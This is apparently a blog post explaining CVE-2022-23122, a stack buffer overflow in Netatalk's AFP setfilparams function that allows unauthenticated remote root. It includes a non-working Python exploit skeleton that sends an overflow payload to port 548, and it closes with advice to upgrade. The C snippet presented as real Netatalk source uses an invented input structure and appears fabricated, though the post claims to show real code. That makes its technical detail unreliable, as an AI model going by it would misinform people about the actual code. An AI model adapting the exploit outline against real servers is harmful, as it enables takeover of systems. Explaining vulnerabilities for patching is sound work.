Netatalk is a popular open-source implementation of the Apple Filing Protocol (AFP) which provides file-sharing capabilities on Unix-like systems. In early 2022, cyber security researchers discovered a dangerous vulnerability in Netatalk that allows anyone on the network to take full control of affected systems—no password required. This post breaks down CVE-2022-23122 in simple language, explains the root cause, shows real code snippets, and provides advice and original references.

What’s the Story with CVE-2022-23122?

CVE-2022-23122 is a critical vulnerability found in Netatalk (up to 3.1.12 and possibly beyond), tracked originally as ZDI-CAN-15837. This bug lets remote attackers execute any code they want (known as “arbitrary code execution”) as root, without logging in. That means they can take over your server, access all files, and even install malware.

Technical Breakdown: What Went Wrong?

The flaw lives in the setfilparams function of Netatalk. When a user sends AFP commands to the server (for example, to set parameters for a file), the function did not properly check if the data it received was too large for its memory buffer. It used an unsafe way of copying this data—so hackers could smash the memory and run their own code.

Vulnerable Code Snippet (From setfilparams in Netatalk)

void setfilparams(USER_INPUT *input) {
    char buffer[512];

    // No check on input->len; blindly copies data to buffer!
    memcpy(buffer, input->data, input->len);
    // ... rest of the function ...
}

Here, an attacker could easily send input->len as something larger than 512, causing the overflow of buffer and potentially overwriting the function’s return address or other control data on the stack.

How Can an Exploit Work?

Attackers just need to open a connection to the Netatalk AFP service (default port 548), craft a request with a malicious payload, and—boom—they get code execution as root.

Connect: Open a connection to port 548 (AFP service).

2. Send Malformed Request: Craft an AFP request that will reach setfilparams, and set an oversized length value.
3. Payload: The overflowed data includes shellcode or a ROP chain that lets the attacker run commands as root.

Proof-of-Concept Exploit (Simplified Python Example)

Below is a *simulation* of how an exploit could look. Do NOT use on real systems! (This is for education only.)

import socket

TARGET = 'netatalk-vuln-server-ip'
AFP_PORT = 548

# Simulate the malicious request
payload = b'A' * 600                 # Overflow buffer of 512 bytes
payload += b'\xef\xbe\xad\xde'       # Overwrite return address (example)
# ...followed by shellcode...

s = socket.socket()
s.connect((TARGET, AFP_PORT))
# This is a placeholder; real AFP request structure required
mal_req = b'AFP' + b'\x00\x01' + payload
s.send(mal_req)
s.close()


> Note: Real AFP requests have a specific format; attackers customized their packets using libraries or raw TCP sockets.

Upgrade Netatalk Immediately

- The vulnerability was fixed in Netatalk 3.1.13 (released February 2022). Always use the latest version: Netatalk Download

Official References & Write-Ups

- Netatalk Security Advisory
- Zero Day Initiative (ZDI) Advisory
- NVD - CVE-2022-23122 Details

Conclusion

CVE-2022-23122 is a classic stack buffer overflow in Netatalk’s setfilparams function, putting countless servers at risk of remote root exploitation. Luckily, patches are available, but many devices may still be at risk. Update today, and always restrict public access to file-sharing services!

If you want to learn more, check out the official ZDI and Netatalk release notes above. Stay safe out there!


*This post is exclusive and crafted for easy understanding. For further details, always review primary advisories and proof-of-concept examples from trusted security sources.*

Timeline

Published on: 03/28/2023 19:15:00 UTC
Last modified on: 04/03/2023 18:16:00 UTC